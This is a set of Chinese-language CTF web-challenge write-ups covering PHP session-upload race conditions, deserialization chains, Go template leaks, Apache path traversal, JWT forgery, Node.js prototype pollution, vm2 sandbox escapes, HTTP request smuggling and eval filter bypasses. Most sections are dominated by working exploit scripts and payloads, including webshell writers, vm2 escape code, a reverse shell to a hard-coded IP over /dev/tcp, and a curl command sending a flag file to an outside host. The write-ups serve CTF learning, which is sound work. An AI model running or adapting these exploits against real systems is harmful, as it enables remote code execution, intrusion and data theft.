http://node5.anna.nssctf.cn:26770/?a=flag&flag=a

image-20240721133554786

[第五空间 2021]EasyCleanup

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php 
if(!isset($_GET['mode'])){
highlight_file(__file__);
}else if($_GET['mode'] == "eval"){
$shell = isset($_GET['shell']) ? $_GET['shell'] : 'phpinfo();';
if(strlen($shell) > 15 | filter($shell) | checkNums($shell)) exit("hacker");
eval($shell);
}


if(isset($_GET['file'])){
if(strlen($_GET['file']) > 15 | filter($_GET['file'])) exit("hacker");
include $_GET['file'];
}


function filter($var){
$banned = ["while", "for", "\$_", "include", "env", "require", "?", ":", "^", "+", "-", "%", "*", "`"];

foreach($banned as $ban){
if(strstr($var, $ban)) return True;
}

return False;
}

function checkNums($var){
$alphanum = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ';
$cnt = 0;
for($i = 0; $i < strlen($alphanum); $i++){
for($j = 0; $j < strlen($var); $j++){
if($var[$j] == $alphanum[$i]){
$cnt += 1;
if($cnt > 8) return True;
}
}
}
return False;
}
?>

当 mode=eval 时,若 shell 无值,则执行phpinfo();,若有值则经过滤后执行shell值的代码;file有值时经过滤后进行文件包含。所以攻击点有两个,一个是变量 shell 的 RCE ,一个是 file 的文件包含,由于 shell 变量需要经过if(strlen($shell) > 15 | filter($shell) | checkNums($shell)) exit("hacker"); ,限制太多,想要通过 RCE 得到 flag 几乎无从下手

image-20240721134646129

于是我们考虑从file寻找攻击点。PHP LFI本地文件包含漏洞主要是包含本地服务器上存储的一些文件,例如 session 文件、日志文件、临时文件等。但是,只有我们能够控制包含的文件存储我们的恶意代码才能拿到服务器权限。假如在服务器上找不到我们可以包含的文件,那该怎么办?此时可以通过利用一些技巧让服务存储我们恶意生成的文件,该文件包含我们构造的的恶意代码,此时服务器就存在我们可以包含的文件了。首先看利用最方便的日志文件包含,日志文件目录路径一般过长,会被过滤掉而无法包含。然后尝试用session文件包含,一般利用GET传参将我们构造好的恶意代码传入session中的,但没有 GET 传参还能往 session 中写入代码吗?当然可以,php 5.4后添加了 session.upload_progress 功能,这个功能开启意味着当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中,利用这个特性可以将恶意语句写入session文件。

1
session.auto_start:如果 session.auto_start=On ,则PHP在接收请求的时候会自动初始化 Session,不再需要执行session_start()。但默认情况下,这个选项都是关闭的。但session还有一个默认选项,session.use_strict_mode默认值为 off。此时用户是可以自己定义 Session ID 的。比如,我们在 Cookie 里设置 PHPSESSID=ph0ebus ,PHP 将会在服务器上创建一个文件:/tmp/sess_ph0ebus”。即使此时用户没有初始化Session,PHP也会自动初始化Session。 并产生一个键值,这个键值有ini.get(“session.upload_progress.prefix”)+由我们构造的 session.upload_progress.name 值组成,最后被写入 sess_ 文件里。
1
session.save_path:负责 session 文件的存放位置,后面文件包含的时候需要知道恶意文件的位置,如果没有配置则不会生成session文件
1
session.upload_progress_enabled:当这个配置为 On 时,代表 session.upload_progress 功能开始,如果这个选项关闭,则这个方法用不了
1
session.upload_progress_cleanup:这个选项默认也是 On,也就是说当文件上传结束时,session 文件中有关上传进度的信息立马就会被删除掉;这里就给我们的操作造成了很大的困难,我们就只能使用条件竞争(Race Condition)的方式不停的发包,争取在它被删除掉之前就成功利用
1
session.upload_progress_name:当它出现在表单中,php将会报告上传进度,最大的好处是,它的值可控
1
session.upload_progress_prefix:它+session.upload_progress_name 将表示为 session 中的键名

image-20240721135246993

利用该漏洞点需要满足

1
2
3
4
5
目标环境开启了session.upload_progress.enable选项
发送一个文件上传请求,其中包含一个文件表单和一个名字是PHP_SESSION_UPLOAD_PROGRESS的字段
请求的Cookie中包含Session ID

注意的是,如果我们只上传一个文件,这里也是不会遗留下Session文件的,所以表单里必须有两个以上的文件上传。

image-20240721135511825

php session.upload_progress通用利用脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import requests
from re import findall as re_findall
from base64 import b64encode
from threading import Thread

HOST = 'http://node4.anna.nssctf.cn:28463/'
PHPINFO_URL = HOST + 'phpinfo.php'
LFI_URL = HOST + 'index.php'
WEB_SHELL = b'<?php eval($_POST[cmd]);?>'


session_configures = {}
resp_text = re_findall('<td class="e">session\.(.*?)</td><td class="v">(.*?)</td>', requests.get(PHPINFO_URL).text)
list(map(lambda x : session_configures.update({x[0] : x[1]}), resp_text))
if session_configures['upload_progress.enabled'] != 'On':
print('[-] Target is not vulnerable')
exit(-1)

success = False

def request_phpinfo():
exploit = f"<?php file_put_contents('/tmp/.shell.php', base64_decode('{b64encode(WEB_SHELL).decode()}')); echo md5('ccc');?>"
data = {session_configures['upload_progress.name'] : exploit}
cookies = {'PHPSESSID' : 'c'}
files = {'files' : ('hello.txt', b'A' * 1024 * 1024)}
while not success:
requests.post(PHPINFO_URL, data=data, cookies=cookies, files=files)

def request_sess_file():
global success
data = {'file' : session_configures['save_path'] + '/sess_c'}
while not success:
resp = requests.get(LFI_URL, params=data)
if '9df62e693988eb4e1e1444ece0578579' in resp.text:
print('[+] The webshell was successfully written to /tmp/.shell.php')
success = True

Thread(target=request_phpinfo).start()
Thread(target=request_sess_file).start()

修改一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import io
import requests
import threading
from cffi.backend_ctypes import xrange

sessid = '0'
target = 'http://node4.anna.nssctf.cn:28463/'
file = 'ph0ebus.txt'
f = io.BytesIO(b'a' * 1024 * 50)


def write(session):
while True:
session.post(target, data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_GET["cmd"]);?>'},
files={'file': (file, f)}, cookies={'PHPSESSID': sessid})


def read(session):
while True:
resp = session.post(
f"{target}?mode=foo&file=/tmp/sess_{sessid}&cmd=system('cd /;ls;cat nssctfasdasdflag');")
if file in resp.text:
print(resp.text)
event.clear()
else:
print("[+]retry")
# print(resp.text)


if __name__ == "__main__":
event = threading.Event()
with requests.session() as session:
for i in xrange(1, 30):
threading.Thread(target=write, args=(session,)).start()
for i in xrange(1, 30):
threading.Thread(target=read, args=(session,)).start()
event.set()

image-20240721140632112

[FSCTF 2023]ez_php2

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
<?php
highlight_file(__file__);
Class Rd{
public $ending;
public $cl;

public $poc;
public function __destruct()
{
echo "All matters have concluded";
die($this->ending);
}
public function __call($name, $arg)
{
foreach ($arg as $key =>$value)
{

if($arg[0]['POC']=="1111")
{
echo "1";
$this->cl->var1 = "system";
}
}
}
}


class Poc{
public $payload;

public $fun;

public function __set($name, $value)
{
$this->payload = $name;
$this->fun = $value;
}

function getflag($paylaod)
{
echo "Have you genuinely accomplished what you set out to do?";
file_get_contents($paylaod);
}
}

class Er{
public $symbol;
public $Flag;

public function __construct()
{
$this->symbol = True;
}

public function __set($name, $value)
{
$value($this->Flag);
}


}

class Ha{
public $start;
public $start1;
public $start2;
public function __construct()
{
echo $this->start1."__construct"."</br>";
}

public function __destruct()
{
if($this->start2==="11111") {
$this->start1->Love($this->start);
echo "You are Good!";
}
}
}


if(isset($_GET['Ha_rde_r']))
{
unserialize($_GET['Ha_rde_r']);
} else{
die("You are Silly goose!");
}
?>

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
class Rd{
public $ending;
public $cl;
public $poc;
}
class Poc{
public $payload = ['POC'=>'1111'];
public $fun;
}
class Er{
public $symbol;
public $Flag;
}
class Ha{
public $start;
public $start1;
public $start2;
}
$a = new Ha;
$b = new Poc;
$c = new Er;
$d = new Rd;


$a->start2 = "11111";
$a->start1 = $d;
$a->start = $b->payload;
$d->cl = $c;
$c->Flag = 'cat /flag';
echo serialize($a);

payload

1
O:2:"Ha":3:{s:5:"start";a:1:{s:3:"POC";s:4:"1111";}s:6:"start1";O:2:"Rd":3:{s:6:"ending";N;s:2:"cl";O:2:"Er":2:{s:6:"symbol";N;s:4:"Flag";s:9:"cat /flag";}s:3:"poc";N;}s:6:"start2";s:5:"11111";}

image-20240721172553666

[SCTF 2021]loginme

I don’t know the age of the admin, can you tell me?By the way, admin’s Password maybe the thing you want

![image-20240721173419307](https://yiyyyyi.oss-cn-beijing.aliyuncs.com/img/image-20240721173419307.png)

xff,X-Clien-IP,X-Real-IP,x-remote-ip都代表本地,最后X-Real-IP成功进入

image-20240721173819147

然后分析源码

关键代码

image-20240721174231082

middleware

image-20240721174020113

成功进入后跳转跳到route.Login

image-20240721174402402

首先获取id,没有的话默认为1,然后将字符串形式的id转换为整数,如果转换失败,则id将被设置为1

structs.Users列表中查找与id匹配的用户,如果没有找到匹配项,则使用structs.Admin作为默认用户。

检查用户的年龄字段,如果为空,则从查询参数中获取age,如果仍然没有则使用默认值forever 18 (Tell me the age)

这里定义了一个结构体

image-20240721175148767

然后有一个模板渲染

1
tmpl, err := template.New("admin_index").Parse(html)

go语言模板渲染支持传入一个结构体的实例来渲染它的字段,就有可能造成信息泄露

image-20240721175528022

而在go语言中使用的是{{.name}}代表要应用的对象,所以可以让age={{.Password}}

在这里插入图片描述

证实推断

image-20240721175641016

image-20240721175700694

[NSSRound#4 SWPU]ez_rce

啥也没有,抓包后发现apache版本为2.4.49 (Unix)

CVE-2021-41773(42013) Apache HTTP Server路径穿越漏洞复现_cve-2021-41773复现-CSDN博客

image-20240721180247059

同时dirsearch也有提示

image-20240721181126194

抓包修改

image-20240721181417264

直接访问看不了,最后在run.sh中看到flag的真实位置

image-20240721181459887

image-20240721181546704

[WUSTCTF 2020]CV Maker

随意注册一个账号登录

image-20240721182144867

文件上传

image-20240721183527789

image-20240721183044880

image-20240721183555041

flag在环境变量中

image-20240721183655428

[NSSRound#1 Basic]basic_check

PUT方法创建木马

image-20240721184733912

image-20240721184920543

[MoeCTF 2021]地狱通讯-改

直接给源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from flask import Flask, render_template, request, session, redirect, make_response
from secret import secret, headers, User
import datetime
import jwt

app = Flask(__name__)

@app.route("/", methods=['GET', 'POST'])
def index():
with open("app.py", "r") as f:
ctx = f.read()
res = make_response(ctx)
name = request.args.get('name', '')
if 'admin' in name or name == '':
return res
payload = {
"name": name,
}
token = jwt.encode(payload, secret, algorithm='HS256', headers=headers)
res.set_cookie('token', token)
return res

@app.route('/hello', methods=['GET', 'POST'])
def hello():
token = request.cookies.get('token')
if not token:
return redirect('/', 302)
try:
name = jwt.decode(token, secret, algorithms=['HS256'])['name']
except jwt.exceptions.InvalidSignatureError as e:
return "Invalid token"
if name != "admin":
user = User(name)
flag = request.args.get('flag', '')
message = "Hello {0}, your flag is {1}".format(user, flag)
return message
else:
return render_template('flag.html', name=name)

if __name__ == "__main__":
app.run()

大致看一眼,刚学的jwt伪造

  1. index 路由:这个路由处理根路径 “/” 的请求,支持 GET 和 POST 方法。首先,它读取文件 “app.py” 的内容并将其作为响应返回。然后,从请求参数中获取名为 “name” 的值,如果该值包含 “admin” 或者为空字符串,将返回之前读取的 “app.py” 内容作为响应。否则,将使用提供的 “name” 构造一个 JWT 载荷(payload),然后使用指定的密钥 secret 和头部 headers 生成 JWT,将生成的 JWT 放入 cookie 中,最后将 “app.py” 内容作为响应返回。
  2. hello 路由:这个路由处理 “/hello” 路径的请求,同样支持 GET 和 POST 方法。首先,它尝试从请求的 cookie 中获取名为 “token” 的 JWT。如果没有找到 token,将重定向到根路径 “/”. 如果找到 token,则尝试解码 JWT 并从中提取 “name” 字段的值。如果 JWT 验证失败(可能是因为签名不匹配),返回 “Invalid token”。
  3. 如果 “name” 字段不是 “admin”,则创建一个 User 实例,然后从请求参数中获取名为 “flag” 的值(如果存在)。接下来,根据用户的信息构造一条欢迎消息,将 flag 值嵌入消息中,然后将这个消息作为响应返回。
  4. 如果 “name” 字段是 “admin”,则渲染一个名为 “flag.html” 的模板,并传递 “name” 作为参数。

这里需要两个条件,secret和headers

用ssti漏洞带出这两个条件

创建一个用户

image-20240721192742870

得到对应的jwt的值

1
token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiMTIzIn0.pEkv9ha7ygfhxZay1tBtb48vjBzAW05Rw4-azvvefGA

拉出来看一下具体内容

带着token去访问

image-20240721192942764

尝试ssti

1
{0.__class__.__init__.__globals__}

image-20240721193627529

secret: u_have_kn0w_what_f0rmat_i5

headers: {‘alg’: ‘HS256’, ‘typ’: ‘JWT’}

验证成功

image-20240721193726623

将用户改为admin

image-20240721193809514

将伪造好的jwt放入token重新发包访问hello路由得到flag

image-20240721193908109

[HZNUCTF 2023 final]eznode

Nodejs vm/vm2沙箱逃逸_nodejs vm2-CSDN博客

vm沙箱逃逸初探 | XiLitter

image-20240722085351426

提示尝试查看源码,最直观的就是node.js配置错误造成的源码泄露了,直接访问app.js获得页面源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
const express = require('express');
const app = express();
const { VM } = require('vm2');

app.use(express.json());

const backdoor = function () {
try {
new VM().run({}.shellcode);
} catch (e) {
console.log(e);
}
}

const isObject = obj => obj && obj.constructor && obj.constructor === Object;
const merge = (a, b) => {
for (var attr in b) {
if (isObject(a[attr]) && isObject(b[attr])) {
merge(a[attr], b[attr]);
} else {
a[attr] = b[attr];
}
}
return a
}
const clone = (a) => {
return merge({}, a);
}


app.get('/', function (req, res) {
res.send("POST some json shit to /. no source code and try to find source code");
});

app.post('/', function (req, res) {
try {
console.log(req.body)
var body = JSON.parse(JSON.stringify(req.body));
var copybody = clone(body)
if (copybody.shit) {
backdoor()
}
res.send("post shit ok")
}catch(e){
res.send("is it shit ?")
console.log(e)
}
})

app.listen(3000, function () {
console.log('start listening on port 3000');
});

学习一下相关知识

内置模块的函数

  1. require()

    1
    const express = require('express');

    require()函数用于加载Node.js模块或文件。例如,require('express')加载了Express框架,使你能够使用其提供的功能。

  2. console.log()

    1
    2
    console.log(req.body);
    console.log(e);

    console.log()是Node.js中用于在控制台输出信息的函数,它通常用于调试目的。

  3. JSON.parse()JSON.stringify()

    1
    var body = JSON.parse(JSON.stringify(req.body));

    JSON.parse()用于将JSON格式的字符串转换成JavaScript对象,而JSON.stringify()则将JavaScript对象转换成JSON字符串。在上面的例子中,JSON.stringify(req.body)将请求体转换成字符串,然后JSON.parse()又将其转换回对象,但这实际上是不必要的,因为req.body已经是一个对象。

  4. app.listen()

    1
    2
    3
    app.listen(3000, function () {
    console.log('start listening on port 3000');
    });

    app.listen()是Express框架中的方法,用于启动HTTP服务器并监听特定的端口。在这个例子中,服务器将在3000端口上监听。

Express框架相关的函数

  1. app.use()

    1
    app.use(express.json());

    app.use()是Express的中间件注册函数。在这个例子中,它注册了一个JSON解析中间件,使得服务器能够解析JSON格式的POST请求体。

  2. app.get()app.post()

    1
    2
    app.get('/', function (req, res) {});
    app.post('/', function (req, res) {});

    这些方法用于定义路由处理函数。app.get()定义了处理GET请求的路由,app.post()定义了处理POST请求的路由。req参数是请求对象,包含了客户端发送的所有信息;res参数是响应对象,用于向客户端发送数据。

自定义函数

  1. backdoor()

    1
    const backdoor = function () {};

    这个函数尝试在一个沙箱环境中运行潜在的恶意代码,这是一个非常危险的操作,因为它可能允许远程代码执行。

  2. isObject()

    1
    const isObject = obj => obj && obj.constructor && obj.constructor === Object;

    这个函数用于检查一个变量是否是普通的JavaScript对象。

  3. merge()

    1
    const merge = (a, b) => {};

    这个函数用于合并两个对象,如果对象中有嵌套的对象,它会递归地进行合并。

  4. clone()

    1
    const clone = (a) => {};

    这个函数用于创建一个对象的深拷贝,使用merge()函数实现。

传入一个json数据,经过json.parse函数解析,再通过clone()函数复制到copybody中

image-20240722090830557

vm2会执行shellcode属性里面的内容,我们需要将该属性污染成vm2沙箱逃逸的payload即可执行命令,exp

1
{"shit":"1","__proto__":{"shellcode":"let res = import('./app.js'); res.toString.constructor('return this')().process.mainModule.require('child_process').execSync('whoami').toString();"}}
1
2
3
4
5
6
7
8
(' + function(){
TypeError.prototype.get_process = f=>f.constructor("return process")();
try{
Object.preventExtensions(Buffer.from("")).a = 1;
}catch(e){
return e.get_process(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
}
}+')()
1
2
3
4
5
6
7
8
9
10
11
(' + function(){
try{
Buffer.from(new Proxy({}, {
getOwnPropertyDescriptor(){
throw f=>f.constructor("return process")();
}
}));
}catch(e){
return e(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
}
}+')()
1
2
3
4
5
6
7
8
(function (){
TypeError[`${`${`prototyp`}e`}`][`${`${`get_proces`}s`}`] = f=>f[`${`${`constructo`}r`}`](`${`${`return this.proces`}s`}`)();
try{
Object.preventExtensions(Buffer.from(``)).a = 1;
}catch(e){
return e[`${`${`get_proces`}s`}`](()=>{}).mainModule[`${`${`requir`}e`}`](`${`${`child_proces`}s`}`)[`${`${`exe`}cSync`}`](`cat /flag`).toString();
}
})()

没有回显,反斜杠转义,bash里面单引号不行就换双引号

1
{"shit":1,"__proto__":{"shellcode":"let res = import('./app.js');res.toString.constructor(\"return this\")().process.mainModule.require(\"child_process\").execSync('bash -c \"bash -i >& /dev/tcp/101.37.27.18/4444 0>&1\"').toString();"}}

image-20240722092054164

image-20240722092115217

[西湖论剑 2022]real_ez_node

image-20240722093816221

app.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
var createError = require('http-errors');
var express = require('express');
var path = require('path');
var fs = require('fs');
const lodash = require('lodash')
var cookieParser = require('cookie-parser');
var logger = require('morgan');
var session = require('express-session');
var index = require('./routes/index');
var bodyParser = require('body-parser');//解析,用req.body获取post参数
var app = express();
app.use(bodyParser.json());
app.use(bodyParser.urlencoded({extended: false}));
app.use(cookieParser());
app.use(session({
secret : 'secret', // 对session id 相关的cookie 进行签名
resave : true,
saveUninitialized: false, // 是否保存未初始化的会话
cookie : {
maxAge : 1000 * 60 * 3, // 设置 session 的有效时间,单位毫秒
},
}));
// view engine setup
app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'ejs');
// app.engine('ejs', function (filePath, options, callback) { // 设置使用 ejs 模板引擎
// fs.readFile(filePath, (err, content) => {
// if (err) return callback(new Error(err))
// let compiled = lodash.template(content) // 使用 lodash.template 创建一个预编译模板方法供后面使用
// let rendered = compiled()

// return callback(null, rendered)
// })
// });
app.use(logger('dev'));
app.use(express.static(path.join(__dirname, 'public')));
app.use('/', index);
// app.use('/challenge7', challenge7);
// catch 404 and forward to error handler
app.use(function(req, res, next) {
next(createError(404));
});

// error handler
app.use(function(err, req, res, next) {
// set locals, only providing error in development
res.locals.message = err.message;
res.locals.error = req.app.get('env') === 'development' ? err : {};

// render the error page
res.status(err.status || 500);
res.render('error');
});

module.exports = app;

index.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
var express = require('express');
var http = require('http');
var router = express.Router();
const safeobj = require('safe-obj');
router.get('/',(req,res)=>{
if (req.query.q) {
console.log('get q');
}
res.render('index');
})
router.post('/copy',(req,res)=>{
res.setHeader('Content-type','text/html;charset=utf-8')
var ip = req.connection.remoteAddress;
console.log(ip);
var obj = {
msg: '',
}
if (!ip.includes('127.0.0.1')) {
obj.msg="only for admin"
res.send(JSON.stringify(obj));
return
}
let user = {};
for (let index in req.body) {
if(!index.includes("__proto__")){
safeobj.expand(user, index, req.body[index])
}
}
res.render('index');
})

router.get('/curl', function(req, res) {
var q = req.query.q;
var resp = "";
if (q) {
var url = 'http://localhost:3000/?q=' + q
try {
http.get(url,(res1)=>{
const { statusCode } = res1;
const contentType = res1.headers['content-type'];

let error;
// 任何 2xx 状态码都表示成功响应,但这里只检查 200。
if (statusCode !== 200) {
error = new Error('Request Failed.\n' +
`Status Code: ${statusCode}`);
}
if (error) {
console.error(error.message);
// 消费响应数据以释放内存
res1.resume();
return;
}

res1.setEncoding('utf8');
let rawData = '';
res1.on('data', (chunk) => { rawData += chunk;
res.end('request success') });
res1.on('end', () => {
try {
const parsedData = JSON.parse(rawData);
res.end(parsedData+'');
} catch (e) {
res.end(e.message+'');
}
});
}).on('error', (e) => {
res.end(`Got error: ${e.message}`);
})
res.end('ok');
} catch (error) {
res.end(error+'');
}
} else {
res.send("search param 'q' missing!");
}
})
module.exports = router;

猜测是原型链污染,__proto__被过滤,使用constructor.prototype

image-20240722094915229

访问/copy的ip被限制,通过访问/curl利用HTTP走私向/copy发送POST请求,然后污染原型链实现代码执行。curl路由只有q参数可控

1
{"shit":"1","__proto__":{"shellcode":"let res = import('./app.js'); res.toString.constructor('return this')().process.mainModule.require('child_process').execSync('whoami').toString();"}}

POST道

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import urllib.parse
import requests

payload = ''' HTTP/1.1

POST /copy HTTP/1.1
Host: 127.0.0.1
Content-Type: application/json
Connection: close
Content-Length: 155

{"constructor.prototype.outputFunctionName":"x;global.process.mainModule.require('child_process').exec('curl 101.37.27.18:4444/`cat /flag.txt`');var x"}
'''.replace("\n", "\r\n")


def encode(data):
tmp = u""
for i in data:
tmp += chr(0x0100 + ord(i))
return tmp


payload = encode(payload)
print(payload)

r = requests.get('http://node4.anna.nssctf.cn:28807/curl?q=' + urllib.parse.quote(payload))
print(r.text)

image-20240722100733444

[GFCTF 2021]ez_calc

题目提示

1
2
1.别想太复杂,试着传传其他数据类型
2.字符串的length和数组的length是不一样的。你能将自己的payload逃逸出来吗。注:本题所有提示都只针对登陆后的操作。

image-20240722101425663

小写得是admin大写得是ADMIN。考点是toUpperCase函数进行大写转换的时候存在漏洞,也就是字符ı会变成I
这两个字符的“大写”是I和S。也就是说”ı”.toUpperCase() == ‘I’,“ſ”.toUpperCase() == ‘S’。通过这个小特性可以绕过一些限制
同样的”K”的“小写”字符是k,也就是”K”.toLowerCase() == ‘k’.

1
2
在Character.toUpperCase()函数中,字符ı会转变为I,字符ſ会变为S。
在Character.toLowerCase()函数中,字符İ会转变为i,字符K会转变为k。

admın/admin123

成功对接

image-20240722101811761

源码在f12中可以看到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
let calc = req.body.calc;
let flag = false;
//waf
for (let i = 0; i < calc.length; i++) {
if (flag || "/(flc'\".".split``.some(v => v == calc[i])) {
flag = true;
calc = calc.slice(0, i) + "*" + calc.slice(i + 1, calc.length);
}
}
//截取
calc = calc.substring(0, 64);
//去空
calc = calc.replace(/\s+/g, "");

calc = calc.replace(/\\/g, "\\\\");

//小明的同学过滤了一些比较危险的东西
while (calc.indexOf("sh") > -1) {
calc = calc.replace("sh", "");
}
while (calc.indexOf("ln") > -1) {
calc = calc.replace("ln", "");
}
while (calc.indexOf("fs") > -1) {
calc = calc.replace("fs", "");
}
while (calc.indexOf("x") > -1) {
calc = calc.replace("x", "");
}

try {
result = eval(calc);

}

eval(calc)产生命令执行

但是slice是从第四的元素开始替换,存在逻辑问题,可以逃逸前四个字符(任意值),会发现可以绕过这个判断实现逃逸

禁止了 x 不能有exec

1
require("child_process").spawn('sleep', ['3']);
1
calc[]=require('child_process').spawnSync('ls',['/']).stdout.toString();&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=.

image-20240722103234648

尝试读取文件,没有回显

1
calc[]=Object.values(require('child_process'))[5]('cat$IFS$9/G*').toString();&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=.

写入静态文件读取

1
calc[]=Object.values(require('child_process'))[5]('cat$IFS$9/G*>a').toString();&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=.
1
